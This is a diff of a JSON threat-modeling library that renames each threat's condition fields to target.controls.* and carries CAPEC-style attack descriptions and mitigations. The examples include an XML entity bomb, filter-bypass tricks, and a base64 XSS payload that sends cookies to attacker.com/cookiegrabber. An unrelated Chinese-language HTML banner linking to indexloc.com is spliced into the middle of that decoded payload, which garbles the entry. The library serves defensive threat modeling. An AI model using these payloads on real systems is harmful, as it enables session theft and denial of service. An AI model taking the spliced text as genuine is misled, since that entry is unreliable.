     "details": "An attacker sends random, malformed, or otherwise unexpected messages to a target application and observes the application's log or error messages returned. Fuzzing techniques involve sending random or malformed messages to a target and monitoring the target's response. The attacker does not initially know how a target will respond to individual messages but by attempting a large number of message variants they may find a variant that trigger's desired behavior. In this attack, the purpose of the fuzzing is to observe the application's log and error messages, although fuzzing a target can also sometimes cause the target to enter an unstable state, causing a crash. By observing logs and error messages, the attacker can learn details about the configuration of the target application and might be able to cause the target to disclose sensitive information.",
     "Likelihood Of Attack": "High",
     "severity": "Low",
-    "condition": "target.sanitizesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.sanitizesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "The target application must fail to sanitize incoming messages adequately before processing.",
     "mitigations": "Design: Construct a 'code book' for error messages. When using a code book, application error messages aren't generated in string or stack trace form, but are catalogued and replaced with a unique (often integer-based) value 'coding' for the error. Such a technique will require helpdesk and hosting personnel to use a 'code book' or similar mapping to decode application errors/logs in order to respond to them normally.Design: wrap application functionality (preferably through the underlying framework) in an output encoding scheme that obscures or cleanses error messages to prevent such attacks. Such a technique is often used in conjunction with the above 'code book' suggestion.Implementation: Obfuscate server fields of HTTP response.Implementation: Hide inner ordering of HTTP response header.Implementation: Customizing HTTP error codes such as 404 or 500.Implementation: Hide HTTP response header software information filed.Implementation: Hide cookie's software information filed.Implementation: Obfuscate database type in Database API's error message.",
     "example": "The following code generates an error message that leaks the full pathname of the configuration file. $ConfigDir = /home/myprog/config;$uname = GetUserInput(username);ExitError(Bad hacker!) if ($uname !~ /^w+$/);$file = $ConfigDir/$uname.txt;if (! (-e $file)) { ExitError(Error: $file does not exist); }... If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a $file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.",
@@ -917,7 +917,7 @@
     "details": "An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "(target.protocol != 'HTTPS' or target.usesVPN is False) and (target.implementsAuthenticationScheme is False or target.authorizesSource is False)",
+    "condition": "(target.protocol != 'HTTPS' or target.usesVPN is False) and (target.controls.implementsAuthenticationScheme is False or target.controls.authorizesSource is False)",
     "prerequisites": "The target application must leverage an open communications channel.The channel on which the target communicates must be vulnerable to interception (e.g., man in the middle attack).",
     "mitigations": "Encrypt all sensitive communications using properly-configured cryptography.Design the communication system such that it associates proper authentication/authorization with each channel/message.",
     "example": "Using MITM techniques, an attacker launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the attacker to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur.",
@@ -932,7 +932,7 @@
     "details": "An adversary takes advantage of incorrectly configured SSL communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.",
     "Likelihood Of Attack": "Low",
     "severity": "High",
-    "condition": "target.checkTLSVersion(target.inputs) and (not target.implementsAuthenticationScheme or not target.authorizesSource)",
+    "condition": "target.checkTLSVersion(target.inputs) and (not target.controls.implementsAuthenticationScheme or not target.controls.authorizesSource)",
     "prerequisites": "Access to the client/server stream.",
     "mitigations": "Usage of configuration settings, such as stream ciphers vs. block ciphers and setting timeouts on SSL sessions to extremely low values lessens the potential impact. Use of later versions of TLS (e.g. TLS 1.1+) can also be effective, but not all clients or servers support the later versions.",
     "example": "Using MITM techniques, an attacker launches a blockwise chosen-boundary attack to obtain plaintext HTTP headers by taking advantage of an SSL session using an encryption protocol in CBC mode with chained initialization vectors (IV). This allows the attacker to recover session IDs, authentication cookies, and possibly other valuable data that can be used for further exploitation. Additionally this could allow for the insertion of data into the stream, allowing for additional attacks (CSRF, SQL inject, etc) to occur.",
@@ -962,7 +962,7 @@
     "details": "An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.implementsServerSideValidation is False and (target.providesIntegrity is False or target.authorizesSource is False)",
+    "condition": "target.controls.implementsServerSideValidation is False and (target.controls.providesIntegrity is False or target.controls.authorizesSource is False)",
     "prerequisites": "Server software must rely on client side formatted and validated values, and not reinforce these checks on the server side.",
     "mitigations": "Design: Ensure that client process and/or message is authenticated so that anonymous communications and/or messages are not accepted by the system.Design: Do not rely on client validation or encoding for security purposes.Design: Utilize digital signatures to increase authentication assurance.Design: Utilize two factor authentication to increase authentication assurance.Implementation: Perform input validation for all remote content.",
     "example": "Web applications may use JavaScript to perform client side validation, request encoding/formatting, and other security functions, which provides some usability benefits and eliminates some client-server round-tripping. However, the web server cannot assume that the requests it receives have been subject to those validations, because an attacker can use an alternate method for crafting the HTTP Request and submit data that contains poisoned values designed to spoof a user and/or get the web server to disclose information.Web 2.0 style applications may be particularly vulnerable because they in large part rely on existing infrastructure which provides scalability without the ability to govern the clients. Attackers identify vulnerabilities that either assume the client side is responsible for some security services (without the requisite ability to ensure enforcement of these checks) and/or the lack of a hardened, default deny server configuration that allows for an attacker probing for weaknesses in unexpected ways. Client side validation, request formatting and other services may be performed, but these are strictly usability enhancements not security enhancements.Many web applications use client side scripting like JavaScript to enforce authentication, authorization, session state and other variables, but at the end of day they all make requests to the server. These client side checks may provide usability and performance gains, but they lack integrity in terms of the http request. It is possible for an attacker to post variables directly to the server without using any of the client script security checks and customize the patterns to impersonate other users or probe for more information.Many message oriented middleware systems like MQ Series are rely on information that is passed along with the message request for making authorization decisions, for example what group or role the request should be passed. However, if the message server does not or cannot authenticate the authorization information in the request then the server's policy decisions about authorization are trivial to subvert because the client process can simply elevate privilege by passing in elevated group or role information which the message server accepts and acts on.",
@@ -977,7 +977,7 @@
     "details": "An adversary takes advantage of weaknesses in the protocol by which a client and server are communicating to perform unexpected actions. Communication protocols are necessary to transfer messages between client and server applications. Moreover, different protocols may be used for different types of interactions. For example, an authentication protocol might be used to establish the identities of the server and client while a separate messaging protocol might be used to exchange data. If there is a weakness in a protocol used by the client and server, an attacker might take advantage of this to perform various types of attacks. For example, if the attacker is able to manipulate an authentication protocol, the attacker may be able spoof other clients or servers. If the attacker is able to manipulate a messaging protocol, the may be able to read sensitive information or modify message contents. This attack is often made easier by the fact that many clients and servers support multiple protocols to perform similar roles. For example, a server might support several different authentication protocols in order to support a wide range of clients, including legacy clients. Some of the older protocols may have vulnerabilities that allow an attacker to manipulate client-server interactions.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "not target.isEncrypted or target.tlsVersion < target.sink.minTLSVersion",
+    "condition": "not target.controls.isEncrypted or target.tlsVersion < target.sink.minTLSVersion",
     "prerequisites": "The client and/or server must utilize a protocol that has a weakness allowing manipulation of the interaction.",
     "mitigations": "Use strong authentication protocols.",
     "example": "An adversary could exploit existing communication protocol vulnerabilities and can launch MITM attacks and gain sensitive information or spoof client/server identities.",
@@ -992,7 +992,7 @@
     "details": "This attack takes advantage of the entity replacement property of XML where the value of the replacement is a URI. A well-crafted XML document could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.",
     "Likelihood Of Attack": "Low",
     "severity": "Medium",
-    "condition": "target.usesXMLParser is False or target.disablesDTD is False",
+    "condition": "target.usesXMLParser is False or target.controls.disablesDTD is False",
     "prerequisites": "A server that has an implementation that accepts entities containing URI values.",
     "mitigations": "This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.",
     "example": "In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer. <?xml version=1.0?>< !DOCTYPE bomb [<!ENTITY detonate SYSTEM http://www.malicious-badguy.com/myhugefile.exe>]><bomb>&detonate;</bomb>",
@@ -1007,7 +1007,7 @@
     "details": "In an iFrame overlay attack the victim is tricked into unknowingly initiating some action in one system while interacting with the UI from seemingly completely different system. While being logged in to some target system, the victim visits the attackers' malicious site which displays a UI that the victim wishes to interact with. In reality, the iFrame overlay page has a transparent layer above the visible UI with action controls that the attacker wishes the victim to execute. The victim clicks on buttons or other UI elements they see on the page which actually triggers the action controls in the transparent overlaying layer. Depending on what that action control is, the attacker may have just tricked the victim into executing some potentially privileged (and most undesired) functionality in the target system to which the victim is authenticated. The basic problem here is that there is a dichotomy between what the victim thinks he or she is clicking on versus what he or she is actually clicking on.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.disablesiFrames is False",
+    "condition": "target.controls.disablesiFrames is False",
     "prerequisites": "The victim is communicating with the target application via a web based UI and not a thick client. The victim's browser security policies allow iFrames. The victim uses a modern browser that supports UI elements like clickable buttons (i.e. not using an old text only browser). The victim has an active session with the target system. The target system's interaction window is open in the victim's browser and supports the ability for initiating sensitive actions on behalf of the user in the target system.",
     "mitigations": "Configuration: Disable iFrames in the Web browser.Operation: When maintaining an authenticated session with a privileged target system, do not use the same browser to navigate to unfamiliar sites to perform other activities. Finish working with the target system and logout first before proceeding to other tasks.Operation: If using the Firefox browser, use the NoScript plug-in that will help forbid iFrames.",
     "example": "The following example is a real-world iFrame overlay attack [2]. In this attack, the malicious page embeds Twitter.com on a transparent IFRAME. The status-message field is initialized with the URL of the malicious page itself. To provoke the click, which is necessary to publish the entry, the malicious page displays a button labeled Don't Click. This button is aligned with the invisible Update button of Twitter. Once the user performs the click, the status message (i.e., a link to the malicious page itself) is posted to his/ her Twitter profile.",
@@ -1022,7 +1022,7 @@
     "details": "An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server. For example, a credential in the form of a web cookie might have a field that indicates the access rights of a user. By manually tweaking this cookie, a user might be able to increase their access rights to the server. Alternately an attacker may be able to manipulate an existing credential to appear as a different user. This attack differs from falsification through prediction in that the user bases their modified credentials off existing credentials instead of using patterns detected in prior credentials to create a new credential that is accepted because it fits the pattern. As a result, an attacker may be able to impersonate other users or elevate their permissions to a targeted service.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.usesStrongSessionIdentifiers is False",
+    "condition": "target.controls.usesStrongSessionIdentifiers is False",
     "prerequisites": "The targeted application must use session credentials to identify legitimate users.",
     "mitigations": "Implementation: Use session IDs that are difficult to guess or brute-force: One way for the attackers to obtain valid session IDs is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult. Implementation: Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.",
     "example": "An adversary uses client side scripting(JavaScript) to set session ID in the victim's browser using document.cookie. This fixates a falsified session credential into victim's browser with the help of a crafted URL link. Once the victim clicks on the link, the attacker is able to bypass authentication or piggyback off some other authenticated victim's session.",
@@ -1037,7 +1037,7 @@
     "details": "An attacker injects malicious content into an application's DTD in an attempt to produce a negative technical impact. DTDs are used to describe how XML documents are processed. Certain malformed DTDs (for example, those with excessive entity expansion as described in CAPEC 197) can cause the XML parsers that process the DTDs to consume excessive resources resulting in resource depletion.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.usesXMLParser is False or target.disablesDTD is False",
+    "condition": "target.usesXMLParser is False or target.controls.disablesDTD is False",
     "prerequisites": "The target must be running an XML based application that leverages DTDs.",
     "mitigations": "Design: Sanitize incoming DTDs to prevent excessive expansion or other actions that could result in impacts like resource depletion.Implementation: Disallow the inclusion of DTDs as part of incoming messages.Implementation: Use XML parsing tools that protect against DTD attacks.",
     "example": "Adversary injects XML External Entity (XEE) attack that can cause the disclosure of confidential information, execute abitrary code, create a Denial of Service of the targeted server, or several other malicious impacts.",
@@ -1052,7 +1052,7 @@
     "details": "This attack exploits certain XML parsers which manage data in an inefficient manner. The attacker crafts an XML document with many attributes in the same XML node. In a vulnerable parser, this results in a denial of service condition owhere CPU resources are exhausted because of the parsing algorithm.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.usesXMLParser is False or target.disablesDTD is False",
+    "condition": "target.usesXMLParser is False or target.controls.disablesDTD is False",
     "prerequisites": "The server accepts XML input and is using a parser with a runtime longer than O(n) for the insertion of a new attribute in the data container.(examples are .NET framework 1.0 and 1.1)",
     "mitigations": "This attack may be mitigated completely by using a parser that is not using a vulnerable container. Mitigation may also limit the number of attributes per XML element.",
     "example": "In this example, assume that the victim is running a vulnerable parser such as .NET framework 1.0. This results in a quadratic runtime of O(n^2). <?xml version=1.0?><fooaaa=ZZZ=...999=/> A document with n attributes results in (n^2)/2 operations to be performed. If an operation takes 100 nanoseconds then a document with 100,000 operations would take 500s to process. In this fashion a small message of less than 1MB causes a denial of service condition on the CPU resources.",
@@ -1067,7 +1067,7 @@
     "details": "An attack of this type exploits the host's trust in executing remote content, including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the adversary and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The adversary exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the adversary knows the standard handling routines and can identify vulnerabilities and entry points, they can be exploited by otherwise seemingly normal content. Once the attack is executed, the adversary's program can access relative directories such as C:Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.",
     "Likelihood Of Attack": "High",
     "severity": "Very High",
-    "condition": "target.hasAccessControl is False and (target.sanitizesInput is False or target.validatesInput is False)",
+    "condition": "target.controls.hasAccessControl is False and (target.controls.sanitizesInput is False or target.controls.validatesInput is False)",
     "prerequisites": "The target software must consume files.The adversary must have access to modify files that the target software will consume.",
     "mitigations": "Design: Enforce principle of least privilegeDesign: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example)Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.Implementation: Virus scanning on hostImplementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.",
     "example": "PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs. [R.23.2]",
@@ -1082,7 +1082,7 @@
     "details": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an attacker to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an attacker can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An attacker's goal is to leverage parser failure to his or her advantage. In most cases this type of an attack will result in a denial of service due to an application becoming unstable, freezing, or crash. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.230.1].",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.usesXMLParser is True and (target.validatesInput is False or target.sanitizesInput is False)",
+    "condition": "target.usesXMLParser is True and (target.controls.validatesInput is False or target.controls.sanitizesInput is False)",
     "prerequisites": "An application uses an XML parser to perform transformation on user-controllable data.An application does not perform sufficient validation to ensure that user-controllable data is safe for an XML parser.",
     "mitigations": "Carefully validate and sanitize all user-controllable data prior to passing it to the XML parser routine. Ensure that the resultant data is safe to pass to the XML parser.Perform validation on canonical data.Pick a robust implementation of an XML parser.Validate XML against a valid schema or DTD prior to parsing.",
     "example": "An adversary crafts input data that may have an adverse effect on the operation of the XML parser when the data is parsed on the victim's system.",
@@ -1097,7 +1097,7 @@
     "details": "An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.hasAccessControl is False or target.implementsPOLP is False",
+    "condition": "target.controls.hasAccessControl is False or target.controls.implementsPOLP is False",
     "prerequisites": "",
     "mitigations": "Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software. Follow the principle of least privilege when assigning access rights to entities in a software system. Implement separation of privilege - Require multiple conditions to be met before permitting access to a system resource.",
     "example": "The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.",
@@ -1112,7 +1112,7 @@
     "details": "An attacker gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code. Processes can be hijacked through improper handling of user input (for example, a buffer overflow or certain types of injection attacks) or by utilizing system utilities that support process control that have been inadequately secured.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.hasAccessControl is False or target.implementsPOLP is False",
+    "condition": "target.controls.hasAccessControl is False or target.controls.implementsPOLP is False",
     "prerequisites": "The targeted process or operating system must contain a bug that allows attackers to hijack the targeted process.",
     "mitigations": "Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software. Follow the principle of least privilege when assigning access rights to entities in a software system. Implement separation of privilege - Require multiple conditions to be met before permitting access to a system resource.",
     "example": "The software does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.",
@@ -1127,7 +1127,7 @@
     "details": "Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.",
     "Likelihood Of Attack": "Low",
     "severity": "Very High",
-    "condition": "target.implementsPOLP is False and (target.usesEnvironmentVariables is True or target.validatesInput is False)",
+    "condition": "target.controls.implementsPOLP is False and (target.usesEnvironmentVariables is True or target.controls.validatesInput is False)",
     "prerequisites": "The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal usersIn order to feasibly execute this class of attacks, the attacker must have the ability to hijack a privileged thread.This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or providing malformed user-controllable input that causes the executing thread to fault and return to a higher privilege level or such.This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute.",
     "mitigations": "Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code.Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope.",
     "example": "Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations.",
@@ -1143,7 +1143,7 @@
     "details": "In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.checksInputBounds is False or target.validatesInput is False",
+    "condition": "target.controls.checksInputBounds is False or target.controls.validatesInput is False",
     "prerequisites": "Ability to control the length of data passed to an active filter.",
     "mitigations": "Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs.Pre-design: Use a language or compiler that performs automatic bounds checking.Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.Operational: Use OS-level preventative functionality. Not a complete solution.Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.",
     "example": "Attack Example: Filter Failure in Taylor UUCP Daemon Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack.A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack.",
@@ -1159,7 +1159,7 @@
     "details": "An adversary exploits weaknesses in input validation by manipulating resource identifiers enabling the unintended modification or specification of a resource.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target application allows the user to both specify the identifier used to access a system resource. Through this permission, the user gains the capability to perform actions on that resource (e.g., overwrite the file)",
     "mitigations": "Ensure all input content that is delivered to client is sanitized against an acceptable content specification.Perform input validation for all content.Enforce regular patching of software.",
     "example": "A Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as '../../tomcat/confserver.xml', which causes the application to delete one of its own configuration files.",
@@ -1175,7 +1175,7 @@
     "details": "An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target software does not validate user-controlled input such that the execution of a process may be altered by sending code in through legitimate data channels, using no other mechanism.",
     "mitigations": "Utilize strict type, character, and encoding enforcementEnsure all input content that is delivered to client is sanitized against an acceptable content specification.Perform input validation for all content.Enforce regular patching of software.",
     "example": "When a developer uses the PHP eval() function and passes it untrusted data that an attacker can modify, code injection could be possible.",
@@ -1190,7 +1190,7 @@
     "details": "An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities.",
     "Likelihood Of Attack": "",
     "severity": "Medium",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target application must fail to adequately sanitize HTML attributes against the presence of dangerous commands.",
     "mitigations": "Design: Use libraries and templates that minimize unfiltered input.Implementation: Normalize, filter and white list all input including that which is not expected to have any scripting content.Implementation: The victim should configure the browser to minimize active content from untrusted sources.",
     "example": "Application allows execution of any Javascript they want on the browser which enables the adversary to steal session tokens and perform malicious activities.",
@@ -1206,7 +1206,7 @@
     "details": "An attack of this type exploits the ability of most browsers to interpret data, javascript or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.",
     "Likelihood Of Attack": "High",
     "severity": "High",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "Target client software must allow scripting such as JavaScript and allows executable content delivered using a data URI scheme.",
     "mitigations": "Design: Use browser technologies that do not allow client side scripting.Design: Utilize strict type, character, and encoding enforcement.Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification.Implementation: Ensure all content coming from the client is using the same encoding; if not, the server-side application must canonicalize the data before applying any filtering.Implementation: Perform input validation for all remote content, including remote and user-generated contentImplementation: Perform output validation for all remote content.Implementation: Disable scripting languages such as JavaScript in browserImplementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this.",
     "example": "The following payload data: text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg== represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser. The decoded payload is the following piece of HTML code: <html><body><script>var img = new Image();img.src = http://attacker.com/cookiegrabber?+ encodeURIComponent(document.cookies); </script> <div style="position: fixed; bottom: 10px; right: 10px; background-color: #f0f0f0; border: 1px solid #ccc; padding: 10px; z - index: 9999; color: red;">
    <a href="https://indexloc.com/forum.php?mod=forumdisplay&fid=7">
        点击  这是indexloc提供的php浏览器服务，不要输入任何密码和下载
    </a>
</div></body> </html> Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack. An attacker could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute): <a href=INJECTION_POINT>My Link</a> Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.",
@@ -1222,7 +1222,7 @@
     "details": "The attacker bypasses input validation by using doubled characters in order to perform a cross-site scripting attack. Some filters fail to recognize dangerous sequences if they are preceded by repeated characters. For example, by doubling the < before a script command, (<<script or %3C%3script using URI encoding) the filters of some web applications may fail to recognize the presence of a script tag. If the targeted server is vulnerable to this type of bypass, the attacker can create a crafted URL or other trap to cause a victim to view a page on the targeted server where the malicious content is executed, as per a normal XSS attack.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False or target.encodesOutput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False or target.controls.encodesOutput is False",
     "prerequisites": "The targeted web application does not fully normalize input before checking for prohibited syntax. In particular, it must fail to recognize prohibited methods preceded by certain sequences of repeated characters.",
     "mitigations": "Design: Use libraries and templates that minimize unfiltered input.Implementation: Normalize, filter and sanitize all user supplied fields.Implementation: The victim should configure the browser to minimize active content from untrusted sources.",
     "example": "By doubling the < before a script command, (<<script or %3C%3script using URI encoding) the filters of some web applications may fail to recognize the presence of a script tag. If the targeted server is vulnerable to this type of bypass, the attacker can create a crafted URL or other trap to cause a victim to view a page on the targeted server where the malicious content is executed, as per a normal XSS attack.",
@@ -1237,7 +1237,7 @@
     "details": "An adversary inserts invalid characters in identifiers to bypass application filtering of input. Filters may not scan beyond invalid characters but during later stages of processing content that follows these invalid characters may still be processed. This allows the attacker to sneak prohibited commands past filters and perform normally prohibited operations. Invalid characters may include null, carriage return, line feed or tab in an identifier. Successful bypassing of the filter can result in a XSS attack, resulting in the disclosure of web cookies or possibly other results.",
     "Likelihood Of Attack": "Medium",
     "severity": "Medium",
-    "condition": "target.validatesInput is False or target.sanitizesInput is False",
+    "condition": "target.controls.validatesInput is False or target.controls.sanitizesInput is False",
     "prerequisites": "The target must fail to remove invalid characters from input and fail to adequately scan beyond these characters.",
     "mitigations": "Design: Use libraries and templates that minimize unfiltered input.Implementation: Normalize, filter and white list any input that will be included in any subsequent web pages or back end operations.Implementation: The victim should configure the browser to minimize active content from untrusted sources.",
     "example": "The software may attempt to remove a 'javascript:' URI scheme, but a 'java%00script:' URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.",
@@ -1252,7 +1252,7 @@
     "details": "An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.",
     "Likelihood Of Attack": "Medium",
     "severity": "High",
-    "condition": "target.usesParameterizedInput is False and (target.validatesInput is False or target.sanitizesInput is False)",
+    "condition": "target.controls.usesParameterizedInput is False and (target.controls.validatesInput is False or target.controls.sanitizesInput is False)",
     "prerequisites": "The target application must accept input from the user and then use this input in the construction of commands to be executed. In virtually all cases, this is some form of string input that is concatenated to a constant string defined by the application to form the full command to be executed.",
